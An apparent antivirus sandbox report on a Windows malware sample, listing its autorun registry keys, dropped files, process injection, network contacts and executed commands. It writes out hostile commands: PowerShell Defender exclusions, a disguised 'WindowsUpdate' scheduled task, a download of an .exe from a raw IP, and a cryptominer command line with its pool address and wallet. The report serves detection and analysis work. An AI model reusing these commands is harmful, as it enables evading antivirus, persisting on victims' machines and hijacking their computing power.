Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\RunOnce] 'vRHLxWbzCvSEfApowhcr' = '%WINDIR%\Microsoft.NET\Framework\NZIXvDdxusP\svchost.exe'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\RunOnce] 'Onedrive' = '%ALLUSERSPROFILE%\Onedrive\Onedrive.exe'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'Hosting.exe' = '%APPDATA%\Hosting.exe'
Creates or modifies the following files
- %APPDATA%\microsoft\windows\start menu\programs\startup\vrhlxwbzcvsefapowhcr.exe
- <SYSTEM32>\tasks\firefox default browser agent 9e84c37f70edbb46
Malicious functions
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
- Windows Defender
blocks the following features:
- User Account Control (UAC)
adds antivirus exclusion with following registry keys:
- [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths] '<Full path to file>' = '00000000'
- [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths] '%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\vRHLxWbzCvSEfApowhcr.exe' = '00000000'
- [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\Microsoft.NET\Framework\NZIXvDdxusP\svchost.exe' = '00000000'
Injects code into
the following system processes:
- <SYSTEM32>\svchost.exe
the following user processes:
- iexplore.exe
Modifies file system
Creates the following files
- %LOCALAPPDATA%\耞耢耙耔耑耤聇耏耷耲耰耟耱聅耿耘耜聀耟耸耔聃耾耑耽\<File name>.exe_url_wenp1xde4ov1ckb5zgsiciyxkunvjbzm\3.42.547.200\efkrwmk2.newcfg
- %TEMP%\768c.exe
- %TEMP%\738f.exe
- %APPDATA%\hosting.exe
- %TEMP%\7072.exe
- %TEMP%\6df1.exe
- %TEMP%\68d2.exe
- %ALLUSERSPROFILE%\onedrive\onedrive.exe
- %TEMP%\4451.exe
- %ALLUSERSPROFILE%\cspulfhxwc\cfg
- %TEMP%\f5a4.tmp-shm
- %ALLUSERSPROFILE%\cspulfhxwc\cfgi
- %APPDATA%\jvietdh
- %APPDATA%\fjrvbbw
- %TEMP%\b060db2e-d34b-4a55-97b2-96bed80059b9\test.bat
- %TEMP%\b060db2e-d34b-4a55-97b2-96bed80059b9\advancedrun.exe
- %LOCALAPPDATA%\耞耢耙耔耑耤聇耏耷耲耰耟耱聅耿耘耜聀耟耸耔聃耾耑耽\vrhlxwbzcvsefapowhcr.exe_url_5fliax5psvuawemwwx0h4z1m2ruvvtfh\3.42.547.200\a31nsva1.newcfg
- %TEMP%\d8e6.tmp
- %WINDIR%\microsoft.net\framework\nzixvddxusp\svchost.exe
- %TEMP%\38864235-a3d1-43a1-9a07-e78e1b3b3169\test.bat
- %TEMP%\38864235-a3d1-43a1-9a07-e78e1b3b3169\advancedrun.exe
- %TEMP%\3b7a.exe
- %TEMP%\2ad.tmp-shm
Sets the 'hidden' attribute to the following files
- %APPDATA%\fjrvbbw
- %APPDATA%\jvietdh
- %ALLUSERSPROFILE%\onedrive\onedrive.exe
Deletes the following files
- %TEMP%\38864235-a3d1-43a1-9a07-e78e1b3b3169\advancedrun.exe
- %TEMP%\38864235-a3d1-43a1-9a07-e78e1b3b3169\test.bat
- %TEMP%\b060db2e-d34b-4a55-97b2-96bed80059b9\advancedrun.exe
- %TEMP%\b060db2e-d34b-4a55-97b2-96bed80059b9\test.bat
- %WINDIR%\microsoft.net\framework\v4.0.30319\regsvcs.exe
- %TEMP%\f5a4.tmp-shm
- %TEMP%\2ad.tmp-shm
Moves the following files
- from %LOCALAPPDATA%\耞耢耙耔耑耤聇耏耷耲耰耟耱聅耿耘耜聀耟耸耔聃耾耑耽\<File name>.exe_url_wenp1xde4ov1ckb5zgsiciyxkunvjbzm\3.42.547.200\efkrwmk2.newcfg to %LOCALAPPDATA%\耞耢耙耔耑耤聇耏耷耲耰耟耱聅耿耘耜聀耟耸耔聃耾耑耽\<File name>.exe_url_wenp1xde4ov1ckb5zgsiciyxkunvjbzm\3.42.547.200\user.config
- from %LOCALAPPDATA%\耞耢耙耔耑耤聇耏耷耲耰耟耱聅耿耘耜聀耟耸耔聃耾耑耽\vrhlxwbzcvsefapowhcr.exe_url_5fliax5psvuawemwwx0h4z1m2ruvvtfh\3.42.547.200\a31nsva1.newcfg to %LOCALAPPDATA%\耞耢耙耔耑耤聇耏耷耲耰耟耱聅耿耘耜聀耟耸耔聃耾耑耽\vrhlxwbzcvsefapowhcr.exe_url_5fliax5psvuawemwwx0h4z1m2ruvvtfh\3.42.547.200\user.config
Network activity
Connects to
- 'microsoft.com':80
- 'li######lsupporters9.com':80
- 'gr###co2020.top':80
- '17#.#3.140.185':80
- 'cd#.##scordapp.com':443
- 'gr#####deteam.ddns.net':20000
TCP
HTTP GET requests
- http://li######lsupporters9.com/liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-7E7211BBED702BE11C5FAFC4ECE66D5E.html
- http://17#.#3.140.185/25%25.exe
HTTP POST requests
- http://gr###co2020.top/
UDP
- DNS ASK microsoft.com
- DNS ASK li######lsupporters9.com
- DNS ASK gr###co2020.top
- DNS ASK cd#.##scordapp.com
- DNS ASK gr#####deteam.ddns.net
Miscellaneous
Creates and executes the following
- '%TEMP%\38864235-a3d1-43a1-9a07-e78e1b3b3169\advancedrun.exe' /EXEFilename "%TEMP%\38864235-a3d1-43a1-9a07-e78e1b3b3169\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
- '%ALLUSERSPROFILE%\onedrive\onedrive.exe'
- '%TEMP%\768c.exe'
- '%TEMP%\738f.exe'
- '%TEMP%\7072.exe'
- '%TEMP%\68d2.exe'
- '%ALLUSERSPROFILE%\onedrive\onedrive.exe' 556
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath "%WINDIR%\Microsoft.NET\Framework\NZIXvDdxusP\svchost.exe" -Force
- '%TEMP%\6df1.exe'
- '%TEMP%\3b7a.exe'
- '%APPDATA%\hosting.exe'
- '%TEMP%\b060db2e-d34b-4a55-97b2-96bed80059b9\advancedrun.exe' /EXEFilename "%TEMP%\b060db2e-d34b-4a55-97b2-96bed80059b9\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
- '%APPDATA%\microsoft\windows\start menu\programs\startup\vrhlxwbzcvsefapowhcr.exe'
- '%TEMP%\38864235-a3d1-43a1-9a07-e78e1b3b3169\advancedrun.exe' /SpecialRun 4101d8 2084
- '%TEMP%\b060db2e-d34b-4a55-97b2-96bed80059b9\advancedrun.exe' /SpecialRun 4101d8 636
- '%TEMP%\4451.exe'
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath "<Full path to file>" -Force' (with hidden window)
- '%TEMP%\38864235-a3d1-43a1-9a07-e78e1b3b3169\advancedrun.exe' /EXEFilename "%TEMP%\38864235-a3d1-43a1-9a07-e78e1b3b3169\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run' (with hidden window)
- '%TEMP%\b060db2e-d34b-4a55-97b2-96bed80059b9\advancedrun.exe' /EXEFilename "%TEMP%\b060db2e-d34b-4a55-97b2-96bed80059b9\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c timeout 1' (with hidden window)
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath "%WINDIR%\Microsoft.NET\Framework\NZIXvDdxusP\svchost.exe" -Force' (with hidden window)
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\vRHLxWbzCvSEfApowhcr.exe" -Force' (with hidden window)
- '<SYSTEM32>\schtasks.exe' /create /sc minute /mo 1 /tn WindowsUpdate /tr %TEMP%\System.exe' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath "<Full path to file>" -Force
- '%WINDIR%\syswow64\cmd.exe' /S /D /c" del /F %TEMP%\A0B9.exe"
- '%WINDIR%\syswow64\cmd.exe' /S /D /c" echo j "
- '<SYSTEM32>\schtasks.exe' /create /sc minute /mo 1 /tn WindowsUpdate /tr %TEMP%\System.exe
- '%WINDIR%\syswow64\ping.exe' 127.0.0.1
- '%WINDIR%\explorer.exe'
- '%WINDIR%\syswow64\explorer.exe'
- '%WINDIR%\syswow64\cmd.exe' /S /D /c" del deleteMyProgram.bat"
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\melt.bat" "
- '%WINDIR%\syswow64\cmd.exe' /C WScript "%ALLUSERSPROFILE%\cSPUlFhxwc\r.vbs"
- '%WINDIR%\microsoft.net\framework\v4.0.30319\regsvcs.exe'
- '%WINDIR%\syswow64\timeout.exe' 1
- '%WINDIR%\syswow64\cmd.exe' /c timeout 1
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath "%WINDIR%\Microsoft.NET\Framework\NZIXvDdxusP\svchost.exe" -Force
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\vRHLxWbzCvSEfApowhcr.exe" -Force
- '%WINDIR%\syswow64\wscript.exe' "%ALLUSERSPROFILE%\cSPUlFhxwc\r.vbs"
- '<SYSTEM32>\svchost.exe' -B --donate-level=1 -a RandomX --url=179.43.140.174:3333 -u 45xUdHPiFHQ7xbKh19G45saF1raB2ot5pag8p1Hnk4yrfXRJZskr8TMbFpVfC5tDk8eQQg63TqkW9gKhwagx6HePTaK2yXb -p -R --variant=-1 --max-cpu-usage=2...
